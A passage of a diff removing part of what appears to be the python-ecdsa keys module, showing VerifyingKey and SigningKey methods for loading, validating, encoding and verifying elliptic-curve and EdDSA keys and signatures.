~ecdsa.ellipticcurve.AbstractPoint - :param curve: The curve on which the point needs to reside, defaults - to NIST192p - :type curve: ~ecdsa.curves.Curve - :param hashfunc: The default hash function that will be used for - verification, needs to implement the same interface - as :py:class:`hashlib.sha1` - :type hashfunc: callable - :type bool validate_point: whether to check if the point lays on curve - should always be used if the public point is not a result - of our own calculation - - :raises MalformedPointError: if the public point does not lay on the - curve - - :return: Initialised VerifyingKey object - :rtype: VerifyingKey - """ - self = cls(_error__please_use_generate=True) - if isinstance(curve.curve, CurveEdTw): - raise ValueError("Method incompatible with Edwards curves") - if not isinstance(point, ellipticcurve.PointJacobi): - point = ellipticcurve.PointJacobi.from_affine(point) - self.curve = curve - self.default_hashfunc = hashfunc - try: - self.pubkey = ecdsa.Public_key( - curve.generator, point, validate_point - ) - except ecdsa.InvalidPointError: - raise MalformedPointError("Point does not lay on the curve") - self.pubkey.order = curve.order - return self - - def precompute(self, lazy=False): - """ - Precompute multiplication tables for faster signature verification. - - Calling this method will cause the library to precompute the - scalar multiplication tables, used in signature verification. - While it's an expensive operation (comparable to performing - as many signatures as the bit size of the curve, i.e. 256 for NIST256p) - it speeds up verification 2 times. You should call this method - if you expect to verify hundreds of signatures (or more) using the same - VerifyingKey object. - - Note: You should call this method only once, this method generates a - new precomputation table every time it's called. - - :param bool lazy: whether to calculate the precomputation table now - (if set to False) or if it should be delayed to the time of first - use (when set to True) - """ - if isinstance(self.curve.curve, CurveEdTw): - pt = self.pubkey.point - self.pubkey.point = ellipticcurve.PointEdwards( - pt.curve(), - pt.x(), - pt.y(), - 1, - pt.x() * pt.y(), - self.curve.order, - generator=True, - ) - else: - self.pubkey.point = ellipticcurve.PointJacobi.from_affine( - self.pubkey.point, True - ) - # as precomputation in now delayed to the time of first use of the - # point and we were asked specifically to precompute now, make - # sure the precomputation is performed now to preserve the behaviour - if not lazy: - self.pubkey.point * 2 - - @classmethod - def from_string( - cls, - string, - curve=NIST192p, - hashfunc=sha1, - validate_point=True, - valid_encodings=None, - ): - """ - Initialise the object from byte encoding of public key. - - The method does accept and automatically detect the type of point - encoding used. It supports the :term:`raw encoding`, - :term:`uncompressed`, :term:`compressed`, and :term:`hybrid` encodings. - It also works with the native encoding of Ed25519 and Ed448 public - keys (technically those are compressed, but encoded differently than - in other signature systems). - - Note, while the method is named "from_string" it's a misnomer from - Python 2 days when there were no binary strings. In Python 3 the - input needs to be a bytes-like object. - - :param string: single point encoding of the public key - :type string: :term:`bytes-like object` - :param curve: the curve on which the public key is expected to lay - :type curve: ~ecdsa.curves.Curve - :param hashfunc: The default hash function that will be used for - verification, needs to implement the same interface as - hashlib.sha1. Ignored for EdDSA. - :type hashfunc: callable - :param validate_point: whether to verify that the point lays on the - provided curve or not, defaults to True. Ignored for EdDSA. - :type validate_point: bool - :param valid_encodings: list of acceptable point encoding formats, - supported ones are: :term:`uncompressed`, :term:`compressed`, - :term:`hybrid`, and :term:`raw encoding` (specified with ``raw`` - name). All formats by default (specified with ``None``). - Ignored for EdDSA. - :type valid_encodings: :term:`set-like object` - - :raises MalformedPointError: if the public point does not lay on the - curve or the encoding is invalid - - :return: Initialised VerifyingKey object - :rtype: VerifyingKey - """ - if isinstance(curve.curve, CurveEdTw): - self = cls(_error__please_use_generate=True) - self.curve = curve - self.default_hashfunc = None # ignored for EdDSA - try: - self.pubkey = eddsa.PublicKey(curve.generator, string) - except ValueError: - raise MalformedPointError("Malformed point for the curve") - return self - - point = PointJacobi.from_bytes( - curve.curve, - string, - validate_encoding=validate_point, - valid_encodings=valid_encodings, - ) - return cls.from_public_point(point, curve, hashfunc, validate_point) - - @classmethod - def from_pem( - cls, - string, - hashfunc=sha1, - valid_encodings=None, - valid_curve_encodings=None, - ): - """ - Initialise from public key stored in :term:`PEM` format. - - The PEM header of the key should be ``BEGIN PUBLIC KEY``. - - See the :func:`~VerifyingKey.from_der()` method for details of the - format supported. - - Note: only a single PEM object decoding is supported in provided - string. - - :param string: text with PEM-encoded public ECDSA key - :type string: str - :param valid_encodings: list of allowed point encodings. - By default :term:`uncompressed`, :term:`compressed`, and - :term:`hybrid`. To read malformed files, include - :term:`raw encoding` with ``raw`` in the list. - :type valid_encodings: :term:`set-like object` - :param valid_curve_encodings: list of allowed encoding formats - for curve parameters. By default (``None``) all are supported: - ``named_curve`` and ``explicit``. - :type valid_curve_encodings: :term:`set-like object` - - - :return: Initialised VerifyingKey object - :rtype: VerifyingKey - """ - return cls.from_der( - der.unpem(string), - hashfunc=hashfunc, - valid_encodings=valid_encodings, - valid_curve_encodings=valid_curve_encodings, - ) - - @classmethod - def from_der( - cls, - string, - hashfunc=sha1, - valid_encodings=None, - valid_curve_encodings=None, - ): - """ - Initialise the key stored in :term:`DER` format. - - The expected format of the key is the SubjectPublicKeyInfo structure - from RFC5912 (for RSA keys, it's known as the PKCS#1 format):: - - SubjectPublicKeyInfo {PUBLIC-KEY: IOSet} ::= SEQUENCE { - algorithm AlgorithmIdentifier {PUBLIC-KEY, {IOSet}}, - subjectPublicKey BIT STRING - } - - Note: only public EC keys are supported by this method. The - SubjectPublicKeyInfo.algorithm.algorithm field must specify - id-ecPublicKey (see RFC3279). - - Only the named curve encoding is supported, thus the - SubjectPublicKeyInfo.algorithm.parameters field needs to be an - object identifier. A sequence in that field indicates an explicit - parameter curve encoding, this format is not supported. A NULL object - in that field indicates an "implicitlyCA" encoding, where the curve - parameters come from CA certificate, those, again, are not supported. - - :param string: binary string with the DER encoding of public ECDSA key - :type string: bytes-like object - :param valid_encodings: list of allowed point encodings. - By default :term:`uncompressed`, :term:`compressed`, and - :term:`hybrid`. To read malformed files, include - :term:`raw encoding` with ``raw`` in the list. - :type valid_encodings: :term:`set-like object` - :param valid_curve_encodings: list of allowed encoding formats - for curve parameters. By default (``None``) all are supported: - ``named_curve`` and ``explicit``. - :type valid_curve_encodings: :term:`set-like object` - - :return: Initialised VerifyingKey object - :rtype: VerifyingKey - """ - if valid_encodings is None: - valid_encodings = set(["uncompressed", "compressed", "hybrid"]) - string = normalise_bytes(string) - # [[oid_ecPublicKey,oid_curve], point_str_bitstring] - s1, empty = der.remove_sequence(string) - if empty != b"": - raise der.UnexpectedDER( - "trailing junk after DER pubkey: %s" % binascii.hexlify(empty) - ) - s2, point_str_bitstring = der.remove_sequence(s1) - # s2 = oid_ecPublicKey,oid_curve - oid_pk, rest = der.remove_object(s2) - if oid_pk in (Ed25519.oid, Ed448.oid): - if oid_pk == Ed25519.oid: - curve = Ed25519 - else: - assert oid_pk == Ed448.oid - curve = Ed448 - point_str, empty = der.remove_bitstring(point_str_bitstring, 0) - if empty: - raise der.UnexpectedDER("trailing junk after public key") - return cls.from_string(point_str, curve, None) - if not oid_pk == oid_ecPublicKey: - raise der.UnexpectedDER( - "Unexpected object identifier in DER " - "encoding: {0!r}".format(oid_pk) - ) - curve = Curve.from_der(rest, valid_curve_encodings) - point_str, empty = der.remove_bitstring(point_str_bitstring, 0) - if empty != b"": - raise der.UnexpectedDER( - "trailing junk after pubkey pointstring: %s" - % binascii.hexlify(empty) - ) - # raw encoding of point is invalid in DER files - if len(point_str) == curve.verifying_key_length: - raise der.UnexpectedDER("Malformed encoding of public point") - return cls.from_string( - point_str, - curve, - hashfunc=hashfunc, - valid_encodings=valid_encodings, - ) - - @classmethod - def from_public_key_recovery( - cls, - signature, - data, - curve, - hashfunc=sha1, - sigdecode=sigdecode_string, - allow_truncate=True, - ): - """ - Return keys that can be used as verifiers of the provided signature. - - Tries to recover the public key that can be used to verify the - signature, usually returns two keys like that. - - :param signature: the byte string with the encoded signature - :type signature: bytes-like object - :param data: the data to be hashed for signature verification - :type data: bytes-like object - :param curve: the curve over which the signature was performed - :type curve: ~ecdsa.curves.Curve - :param hashfunc: The default hash function that will be used for - verification, needs to implement the same interface as hashlib.sha1 - :type hashfunc: callable - :param sigdecode: Callable to define the way the signature needs to - be decoded to an object, needs to handle `signature` as the - first parameter, the curve order (an int) as the second and return - a tuple with two integers, "r" as the first one and "s" as the - second one. See :func:`ecdsa.util.sigdecode_string` and - :func:`ecdsa.util.sigdecode_der` for examples. - :param bool allow_truncate: if True, the provided hashfunc can generate - values larger than the bit size of the order of the curve, the - extra bits (at the end of the digest) will be truncated. - :type sigdecode: callable - - :return: Initialised VerifyingKey objects - :rtype: list of VerifyingKey - """ - if isinstance(curve.curve, CurveEdTw): - raise ValueError("Method unsupported for Edwards curves") - data = normalise_bytes(data) - digest = hashfunc(data).digest() - return cls.from_public_key_recovery_with_digest( - signature, - digest, - curve, - hashfunc=hashfunc, - sigdecode=sigdecode, - allow_truncate=allow_truncate, - ) - - @classmethod - def from_public_key_recovery_with_digest( - cls, - signature, - digest, - curve, - hashfunc=sha1, - sigdecode=sigdecode_string, - allow_truncate=False, - ): - """ - Return keys that can be used as verifiers of the provided signature. - - Tries to recover the public key that can be used to verify the - signature, usually returns two keys like that. - - :param signature: the byte string with the encoded signature - :type signature: bytes-like object - :param digest: the hash value of the message signed by the signature - :type digest: bytes-like object - :param curve: the curve over which the signature was performed - :type curve: ~ecdsa.curves.Curve - :param hashfunc: The default hash function that will be used for - verification, needs to implement the same interface as hashlib.sha1 - :type hashfunc: callable - :param sigdecode: Callable to define the way the signature needs to - be decoded to an object, needs to handle `signature` as the - first parameter, the curve order (an int) as the second and return - a tuple with two integers, "r" as the first one and "s" as the - second one. See :func:`ecdsa.util.sigdecode_string` and - :func:`ecdsa.util.sigdecode_der` for examples. - :type sigdecode: callable - :param bool allow_truncate: if True, the provided hashfunc can generate - values larger than the bit size of the order of the curve (and - the length of provided `digest`), the extra bits (at the end of the - digest) will be truncated. - - :return: Initialised VerifyingKey object - :rtype: VerifyingKey - """ - if isinstance(curve.curve, CurveEdTw): - raise ValueError("Method unsupported for Edwards curves") - generator = curve.generator - r, s = sigdecode(signature, generator.order()) - sig = ecdsa.Signature(r, s) - - digest = normalise_bytes(digest) - digest_as_number = _truncate_and_convert_digest( - digest, curve, allow_truncate - ) - pks = sig.recover_public_keys(digest_as_number, generator) - - # Transforms the ecdsa.Public_key object into a VerifyingKey - verifying_keys = [ - cls.from_public_point(pk.point, curve, hashfunc) for pk in pks - ] - return verifying_keys - - def to_string(self, encoding="raw"): - """ - Convert the public key to a byte string. - - The method by default uses the :term:`raw encoding` (specified - by `encoding="raw"`. It can also output keys in :term:`uncompressed`, - :term:`compressed` and :term:`hybrid` formats. - - Remember that the curve identification is not part of the encoding - so to decode the point using :func:`~VerifyingKey.from_string`, curve - needs to be specified. - - Note: while the method is called "to_string", it's a misnomer from - Python 2 days when character strings and byte strings shared type. - On Python 3 the returned type will be `bytes`. - - :return: :term:`raw encoding` of the public key (public point) on the - curve - :rtype: bytes - """ - assert encoding in ("raw", "uncompressed", "compressed", "hybrid") - return self.pubkey.point.to_bytes(encoding) - - def to_pem( - self, point_encoding="uncompressed", curve_parameters_encoding=None - ): - """ - Convert the public key to the :term:`PEM` format. - - The PEM header of the key will be ``BEGIN PUBLIC KEY``. - - The format of the key is described in the - :func:`~VerifyingKey.from_der()` method. - This method supports only "named curve" encoding of keys. - - :param str point_encoding: specification of the encoding format - of public keys. "uncompressed" is most portable, "compressed" is - smallest. "hybrid" is uncommon and unsupported by most - implementations, it is as big as "uncompressed". - :param str curve_parameters_encoding: the encoding for curve parameters - to use, by default tries to use ``named_curve`` encoding, - if that is not possible, falls back to ``explicit`` encoding. - - :return: portable encoding of the public key - :rtype: bytes - - .. warning:: The PEM is encoded to US-ASCII, it needs to be - re-encoded if the system is incompatible (e.g. uses UTF-16) - """ - return der.topem( - self.to_der(point_encoding, curve_parameters_encoding), - "PUBLIC KEY", - ) - - def to_der( - self, point_encoding="uncompressed", curve_parameters_encoding=None - ): - """ - Convert the public key to the :term:`DER` format. - - The format of the key is described in the - :func:`~VerifyingKey.from_der()` method. - This method supports only "named curve" encoding of keys. - - :param str point_encoding: specification of the encoding format - of public keys. "uncompressed" is most portable, "compressed" is - smallest. "hybrid" is uncommon and unsupported by most - implementations, it is as big as "uncompressed". - :param str curve_parameters_encoding: the encoding for curve parameters - to use, by default tries to use ``named_curve`` encoding, - if that is not possible, falls back to ``explicit`` encoding. - - :return: DER encoding of the public key - :rtype: bytes - """ - if point_encoding == "raw": - raise ValueError("raw point_encoding not allowed in DER") - point_str = self.to_string(point_encoding) - if isinstance(self.curve.curve, CurveEdTw): - return der.encode_sequence( - der.encode_sequence(der.encode_oid(*self.curve.oid)), - der.encode_bitstring(bytes(point_str), 0), - ) - return der.encode_sequence( - der.encode_sequence( - encoded_oid_ecPublicKey, - self.curve.to_der(curve_parameters_encoding, point_encoding), - ), - # 0 is the number of unused bits in the - # bit string - der.encode_bitstring(point_str, 0), - ) - - def to_ssh(self): - """ - Convert the public key to the SSH format. - - :return: SSH encoding of the public key - :rtype: bytes - """ - return ssh.serialize_public( - self.curve.name, - self.to_string(), - ) - - def verify( - self, - signature, - data, - hashfunc=None, - sigdecode=sigdecode_string, - allow_truncate=True, - ): - """ - Verify a signature made over provided data. - - Will hash `data` to verify the signature. - - By default expects signature in :term:`raw encoding`. Can also be used - to verify signatures in ASN.1 DER encoding by using - :func:`ecdsa.util.sigdecode_der` - as the `sigdecode` parameter. - - :param signature: encoding of the signature - :type signature: sigdecode method dependent - :param data: data signed by the `signature`, will be hashed using - `hashfunc`, if specified, or default hash function - :type data: :term:`bytes-like object` - :param hashfunc: The default hash function that will be used for - verification, needs to implement the same interface as hashlib.sha1 - :type hashfunc: callable - :param sigdecode: Callable to define the way the signature needs to - be decoded to an object, needs to handle `signature` as the - first parameter, the curve order (an int) as the second and return - a tuple with two integers, "r" as the first one and "s" as the - second one. See :func:`ecdsa.util.sigdecode_string` and - :func:`ecdsa.util.sigdecode_der` for examples. - :type sigdecode: callable - :param bool allow_truncate: if True, the provided digest can have - bigger bit-size than the order of the curve, the extra bits (at - the end of the digest) will be truncated. Use it when verifying - SHA-384 output using NIST256p or in similar situations. Defaults to - True. - - :raises BadSignatureError: if the signature is invalid or malformed - - :return: True if the verification was successful - :rtype: bool - """ - # signature doesn't have to be a bytes-like-object so don't normalise - # it, the decoders will do that - data = normalise_bytes(data) - if isinstance(self.curve.curve, CurveEdTw): - signature = normalise_bytes(signature) - try: - return self.pubkey.verify(data, signature) - except (ValueError, MalformedPointError) as e: - raise BadSignatureError("Signature verification failed", e) - - hashfunc = hashfunc or self.default_hashfunc - digest = hashfunc(data).digest() - return self.verify_digest(signature, digest, sigdecode, allow_truncate) - - def verify_digest( - self, - signature, - digest, - sigdecode=sigdecode_string, - allow_truncate=False, - ): - """ - Verify a signature made over provided hash value. - - By default expects signature in :term:`raw encoding`. Can also be used - to verify signatures in ASN.1 DER encoding by using - :func:`ecdsa.util.sigdecode_der` - as the `sigdecode` parameter. - - :param signature: encoding of the signature - :type signature: sigdecode method dependent - :param digest: raw hash value that the signature authenticates. - :type digest: :term:`bytes-like object` - :param sigdecode: Callable to define the way the signature needs to - be decoded to an object, needs to handle `signature` as the - first parameter, the curve order (an int) as the second and return - a tuple with two integers, "r" as the first one and "s" as the - second one. See :func:`ecdsa.util.sigdecode_string` and - :func:`ecdsa.util.sigdecode_der` for examples. - :type sigdecode: callable - :param bool allow_truncate: if True, the provided digest can have - bigger bit-size than the order of the curve, the extra bits (at - the end of the digest) will be truncated. Use it when verifying - SHA-384 output using NIST256p or in similar situations. - - :raises BadSignatureError: if the signature is invalid or malformed - :raises BadDigestError: if the provided digest is too big for the curve - associated with this VerifyingKey and allow_truncate was not set - - :return: True if the verification was successful - :rtype: bool - """ - # signature doesn't have to be a bytes-like-object so don't normalise - # it, the decoders will do that - digest = normalise_bytes(digest) - number = _truncate_and_convert_digest( - digest, - self.curve, - allow_truncate, - ) - - try: - r, s = sigdecode(signature, self.pubkey.order) - except (der.UnexpectedDER, MalformedSignature) as e: - raise BadSignatureError("Malformed formatting of signature", e) - sig = ecdsa.Signature(r, s) - if self.pubkey.verifies(number, sig): - return True - raise BadSignatureError("Signature verification failed") - - -class SigningKey(object): - """ - Class for handling keys that can create signatures (private keys). - - :ivar `~ecdsa.curves.Curve` curve: The Curve over which all the - cryptographic operations will take place - :ivar default_hashfunc: the function that will be used for hashing the - data. Should implement the same API as :py:class:`hashlib.sha1` - :ivar int baselen: the length of a :term:`raw encoding` of private key - :ivar `~ecdsa.keys.VerifyingKey` verifying_key: the public key - associated with this private key - :ivar `~ecdsa.ecdsa.Private_key` privkey: the actual private key - """ - - def __init__(self, _error__please_use_generate=None): - """Unsupported, please use one of the classmethods to initialise.""" - if not _error__please_use_generate: - raise TypeError("Please use SigningKey.generate() to construct me") - self.curve = None - self.default_hashfunc = None - self.baselen = None - self.verifying_key = None - self.privkey = None - - def __eq__(self, other): - """Return True if the points are identical, False otherwise.""" - if isinstance(other, SigningKey): - return ( - self.curve == other.curve - and self.verifying_key == other.verifying_key - and self.privkey == other.privkey - ) - return NotImplemented - - def __ne__(self, other): - """Return False if the points are identical, True otherwise.""" - return not self == other - - @classmethod - def _twisted_edwards_keygen(cls, curve, entropy): - """Generate a private key on a Twisted Edwards curve.""" - if not entropy: - entropy = os.urandom - random = entropy(curve.baselen) - private_key = eddsa.PrivateKey(curve.generator, random) - public_key = private_key.public_key() - - verifying_key = VerifyingKey.from_string( - public_key.public_key(), curve - ) - - self = cls(_error__please_use_generate=True) - self.curve = curve - self.default_hashfunc = None - self.baselen = curve.baselen - self.privkey = private_key - self.verifying_key = verifying_key - return self - - @classmethod - def _weierstrass_keygen(cls, curve, entropy, hashfunc): - """Generate a private key on a Weierstrass curve.""" - secexp = randrange(curve.order, entropy) - return cls.from_secret_exponent(secexp, curve, hashfunc) - - @classmethod - def generate(cls, curve=NIST192p, entropy=None, hashfunc=sha1): - """ - Generate a random private key. - - :param curve: The curve on which the point needs to reside, defaults - to NIST192p - :type curve: ~ecdsa.curves.Curve - :param entropy: Source of randomness for generating the private keys, - should provide cryptographically secure random numbers if the keys - need to be secure. Uses os.urandom() by default. - :type entropy: callable - :param hashfunc: The default hash function that will be used for - signing, needs to implement the same interface - as hashlib.sha1 - :type hashfunc: callable - - :return: Initialised SigningKey object - :rtype: SigningKey - """ - if isinstance(curve.curve, CurveEdTw): - return cls._twisted_edwards_keygen(curve, entropy) - return cls._weierstrass_keygen(curve, entropy, hashfunc) - - @classmethod - def from_secret_exponent(cls, secexp, curve=NIST192p, hashfunc=sha1): - """ - Create a private key from a random integer. - - Note: it's a low level method, it's recommended to use the - :func:`~SigningKey.generate` method to create private keys. - - :param int secexp: secret multiplier (the actual private key in ECDSA). - Needs to be an integer between 1 and the curve order. - :param curve: The curve on which the point needs to reside - :type curve: ~ecdsa.curves.Curve - :param hashfunc: The default hash function that will be used for - signing, needs to implement the same interface - as hashlib.sha1 - :type hashfunc: callable - - :raises MalformedPointError: when the provided secexp is too large - or too small for the curve selected - :raises RuntimeError: if the generation of public key from private - key failed - - :return: Initialised SigningKey object - :rtype: SigningKey - """ - if isinstance(curve.curve, CurveEdTw): - raise ValueError( - "Edwards keys don't support setting the secret scalar " - "(exponent) directly" - ) - self = cls(_error__please_use_generate=True) - self.curve = curve - self.default_hashfunc = hashfunc - self.baselen = curve.baselen - n = curve.order - if not 1 <= secexp < n: - raise MalformedPointError( - "Invalid value for secexp, expected integer " - "between 1 and {0}".format(n) - ) - pubkey_point = curve.generator * secexp - if hasattr(pubkey_point, "scale"): - pubkey_point = pubkey_point.scale() - self.verifying_key = VerifyingKey.from_public_point( - pubkey_point, curve, hashfunc, False - ) - pubkey = self.verifying_key.pubkey - self.privkey = ecdsa.Private_key(pubkey, secexp) - self.privkey.order = n - return self - - @classmethod - def from_string(cls, string, curve=NIST192p, hashfunc=sha1): - """ - Decode the private key from :term:`raw encoding`. - - Note: the name of this method is a misnomer coming from days of - Python 2, when binary strings and character strings shared a type. - In Python 3, the expected type is `bytes`. - - :param string: the raw encoding of the private key - :type string: :term:`bytes-like object` - :param curve: The curve on which the point needs to reside - :type curve: ~ecdsa.curves.Curve - :param hashfunc: The default hash function that will be used for - signing, needs to implement the same interface - as hashlib.sha1 - :type hashfunc: callable - - :raises MalformedPointError: if the length of encoding doesn't match - the provided curve or the encoded values is too large - :raises RuntimeError: if the generation of public key from private - key failed - - :return: Initialised SigningKey object - :rtype: SigningKey - """ - string = normalise_bytes(string) - - if len(string) != curve.baselen: - raise MalformedPointError( - "Invalid length of private key, received {0}, " - "expected {1}".format(len(string), curve.baselen) - ) - if isinstance(curve.curve, CurveEdTw): - self = cls(_error__please_use_generate=True) - self.curve = curve - self.default_hashfunc = None # Ignored for EdDSA - self.baselen = curve.baselen - self.privkey = eddsa.PrivateKey(curve.generator, string) - self.verifying_key = VerifyingKey.from_string( - self.privkey.public_key().public_key(), curve - ) - return self - secexp = string_to_number(string) - return cls.from_secret_exponent(secexp, curve, hashfunc) - - @classmethod - def from_pem(cls, string, hashfunc=sha1, valid_curve_encodings=None): - """ - Initialise from key stored in :term:`PEM` format. - - The PEM formats supported are the un-encrypted RFC5915 - (the ssleay format) supported by OpenSSL, and the more common - un-encrypted RFC5958 (the PKCS #8 format). - - The legacy format files have the header with the string - ``BEGIN EC PRIVATE KEY``. - PKCS#8 files have the header ``BEGIN PRIVATE KEY``. - Encrypted files (ones that include the string - ``Proc-Type: 4,ENCRYPTED`` - right after the PEM header) are not supported. - - See :func:`~SigningKey.from_der` for ASN.1 syntax of the objects in - this files. - - :param string: text with PEM-encoded private ECDSA key - :type string: str - :param valid_curve_encodings: list of allowed encoding formats - for curve parameters. By default (``None``) all are supported: - ``named_curve`` and ``explicit``. - :type valid_curve_encodings: :term:`set-like object` - - - :raises MalformedPointError: if the length of encoding doesn't match - the provided curve or the encoded values is too large - :raises RuntimeError: if the generation of public key from private - key failed - :raises UnexpectedDER: if the encoding of the PEM file is incorrect - - :return: Initialised SigningKey object - :rtype: SigningKey - """ - if not PY2 and isinstance(string, str): # pragma: no branch - string = string.encode() - - # The privkey pem may have multiple sections, commonly it also has - # "EC PARAMETERS", we need just "EC PRIVATE KEY". PKCS#8 should not - # have the "EC PARAMETERS" section; it's just "PRIVATE KEY". - private_key_index = string.find(b"-----BEGIN EC PRIVATE KEY-----") - if private_key_index == -1: - private_key_index = string.index(b"-----BEGIN PRIVATE KEY-----") - - return cls.from_der( - der.unpem(string[private_key_index:]), - hashfunc, - valid_curve_encodings, - ) - - @classmethod - def from_der(cls, string, hashfunc=sha1, valid_curve_encodings=None): - """ - Initialise from key stored in :term:`DER` format. - - The DER formats supported are the un-encrypted RFC5915 - (the ssleay format) supported by OpenSSL, and the more common - un-encrypted RFC5958 (the PKCS #8 format). - - Both formats contain an ASN.1 object following the syntax specified - in RFC5915:: - - ECPrivateKey ::= SEQUENCE { - version INTEGER { ecPrivkeyVer1(1) }} (ecPrivkeyVer1), - privateKey OCTET STRING, - parameters [0] ECParameters {{ NamedCurve }} OPTIONAL, - publicKey [1] BIT STRING OPTIONAL - } - - `publicKey` field is ignored completely (errors, if any, in it will - be undetected). - - Two formats are supported for the `parameters` field: the named - curve and the explicit encoding of curve parameters. - In the legacy ssleay format, this implementation requires the optional - `parameters` field to get the curve name. In PKCS #8 format, the curve - is part of the PrivateKeyAlgorithmIdentifier. - - The PKCS #8 format includes an ECPrivateKey object as the `privateKey` - field within a larger structure:: - - OneAsymmetricKey ::= SEQUENCE { - version Version, - privateKeyAlgorithm PrivateKeyAlgorithmIdentifier, - privateKey PrivateKey, - attributes [0] Attributes OPTIONAL, - ..., - [[2: publicKey [1] PublicKey OPTIONAL ]], - ... - } - - The `attributes` and `publicKey` fields are completely ignored; errors - in them will not be detected. - - :param string: binary string with DER-encoded private ECDSA key - :type string: :term:`bytes-like object` - :param valid_curve_encodings: list of allowed encoding formats - for curve parameters. By default (``None``) all are supported: - ``named_curve`` and ``explicit``. - Ignored for EdDSA. - :type valid_curve_encodings: :term:`set-like object` - - :raises MalformedPointError: if the length of encoding doesn't match - the provided curve or the encoded values is too large - :raises RuntimeError: if the generation of public key from private - key failed - :raises UnexpectedDER: if the encoding of the DER file is incorrect - - :return: Initialised SigningKey object - :rtype: SigningKey - """ - s = normalise_bytes(string) - curve = None - - s, empty = der.remove_sequence(s) - if empty != b"": - raise der.UnexpectedDER( - "trailing junk after DER privkey: %s" % binascii.hexlify(empty) - ) - - version, s = der.remove_integer(s) - - # At this point, PKCS #8 has a sequence containing the algorithm - # identifier and the curve identifier. The ssleay format instead has - # an octet string containing the key data, so this is how we can - # distinguish the two formats. - if der.is_sequence(s): - if version not in (0, 1): - raise der.UnexpectedDER( - "expected version '0' or '1' at start of privkey, got %d" - % version - ) - - sequence, s = der.remove_sequence(s) - algorithm_oid, algorithm_identifier = der.remove_object(sequence) - - if algorithm_oid in (Ed25519.oid, Ed448.oid): - if algorithm_identifier: - raise der.UnexpectedDER( - "Non NULL parameters for a EdDSA key" - ) - key_str_der, s = der.remove_octet_string(s) - - # As RFC5958 describe, there are may be optional Attributes - # and Publickey. Don't raise error if something after - # Privatekey - - # TODO parse attributes or validate publickey - # if s: - # raise der.UnexpectedDER( - # "trailing junk inside the privateKey" - # ) - key_str, s = der.remove_octet_string(key_str_der) - if s: - raise der.UnexpectedDER( - "trailing junk after the encoded private key" - ) - - if algorithm_oid == Ed25519.oid: - curve = Ed25519 - else: - assert algorithm_oid == Ed448.oid - curve = Ed448 - - return cls.from_string(key_str, curve, None) - - if algorithm_oid not in (oid_ecPublicKey, oid_ecDH, oid_ecMQV): - raise der.UnexpectedDER( - "unexpected algorithm identifier '%s'" % (algorithm_oid,) - ) - - curve = Curve.from_der(algorithm_identifier, valid_curve_encodings) - - # Up next is an octet string containing an ECPrivateKey. Ignore - # the optional "attributes" and "publicKey" fields that come after. - s, _ = der.remove_octet_string(s) - - # Unpack the ECPrivateKey to get to the key data octet string, - # and rejoin the ssleay parsing path. - s, empty = der.remove_sequence(s) - if empty != b"": - raise der.UnexpectedDER( - "trailing junk after DER privkey: %s" - % binascii.hexlify(empty) - ) - - version, s = der.remove_integer(s) - - # The version of the ECPrivateKey must be 1. - if version != 1: - raise der.UnexpectedDER( - "expected version '1' at start of DER privkey, got %d" - % version - ) - - privkey_str, s = der.remove_octet_string(s) - - if not curve: - tag, curve_oid_str, s = der.remove_constructed(s) - if tag != 0: - raise der.UnexpectedDER( - "expected tag 0 in DER privkey, got %d" % tag - ) - curve = Curve.from_der(curve_oid_str, valid_curve_encodings) - - # we don't actually care about the following fields - # - # tag, pubkey_bitstring, s = der.remove_constructed(s) - # if tag != 1: - # raise der.UnexpectedDER("expected tag 1 in DER privkey, got %d" - # % tag) - # pubkey_str = der.remove_bitstring(pubkey_bitstring, 0) - # if empty != "": - # raise der.UnexpectedDER("trailing junk after DER privkey " - # "pubkeystr: %s" - # % binascii.hexlify(empty)) - - # our from_string method likes fixed-length privkey strings - if len(privkey_str) < curve.baselen: - privkey_str = ( - b"\x00" * (curve.baselen - len(privkey_str)) + privkey_str - ) - return cls.from_string(privkey_str, curve, hashfunc) - - def to_string(self): - """ - Convert the private key to :term:`raw encoding`. - - Note: while the method is named "to_string", its name comes from - Python 2 days, when binary and character strings used the same type. - The type used in Python 3 is `bytes`. - - :return: raw encoding of private key - :rtype: bytes - """ - if isinstance(self.curve.curve, CurveEdTw): - return bytes(self.privkey.private_key) - secexp = self.privkey.secret_multiplier - s = number_to_string(secexp, self.privkey.order) - return s - - def to_pem( - self, - point_encoding="uncompressed", - format="ssleay", - curve_parameters_encoding=None, - ): - """ - Convert the private key to the :term:`PEM` format. - - See :func:`~SigningKey.from_pem` method for format description. - - Only the named curve format is supported. - The public key will be included in generated string. - - The PEM header will specify ``BEGIN EC PRIVATE KEY`` or - ``BEGIN PRIVATE KEY``, depending on the desired format. - - :param str point_encoding: format to use for encoding public point - :param str format: either ``ssleay`` (default) or ``pkcs8`` - :param str curve_parameters_encoding: format of encoded curve - parameters, default depends on the curve, if the curve has - an associated OID, ``named_curve`` format will be used, - if no OID is associated with the curve, the fallback of - ``explicit`` parameters will be used. - - :return: PEM encoded private key - :rtype: bytes - - .. warning:: The PEM is encoded to US-ASCII, it needs to be - re-encoded if the system is incompatible (e.g. uses UTF-16) - """ - # TODO: "BEGIN ECPARAMETERS" - assert format in ("ssleay", "pkcs8") - header = "EC PRIVATE KEY" if format == "ssleay" else "PRIVATE KEY" - return der.topem( - self.to_der(point_encoding, format, curve_parameters_encoding), - header, - ) - - def _encode_eddsa(self): - """Create a PKCS#8 encoding of EdDSA keys.""" - ec_private_key = der.encode_octet_string(self.to_string()) - return der.encode_sequence( - der.encode_integer(0), - der.encode_sequence(der.encode_oid(*self.curve.oid)), - der.encode_octet_string(ec_private_key), - ) - - def to_der( - self, - point_encoding="uncompressed", - format="ssleay", - curve_parameters_encoding=None, - ): - """ - Convert the private key to the :term:`DER` format. - - See :func:`~SigningKey.from_der` method for format specification. - - Only the named curve format is supported. - The public key will be included in the generated string. - - :param str point_encoding: format to use for encoding public point - Ignored for EdDSA - :param str format: either ``ssleay`` (default) or ``pkcs8``. - EdDSA keys require ``pkcs8``. - :param str curve_parameters_encoding: format of encoded curve - parameters, default depends on the curve, if the curve has - an associated OID, ``named_curve`` format will be used, - if no OID is associated with the curve, the fallback of - ``explicit`` parameters will be used. - Ignored for EdDSA. - - :return: DER encoded private key - :rtype: bytes - """ - # SEQ([int(1), octetstring(privkey),cont[0], oid(secp224r1), - # cont[1],bitstring]) - if point_encoding == "raw": - raise ValueError("raw encoding not allowed in DER") - assert format in ("ssleay", "pkcs8") - if isinstance(self.curve.curve, CurveEdTw): - if format != "pkcs8": - raise ValueError("Only PKCS#8 format supported for EdDSA keys") - return self._encode_eddsa() - encoded_vk = self.get_verifying_key().to_string(point_encoding) - priv_key_elems = [ - 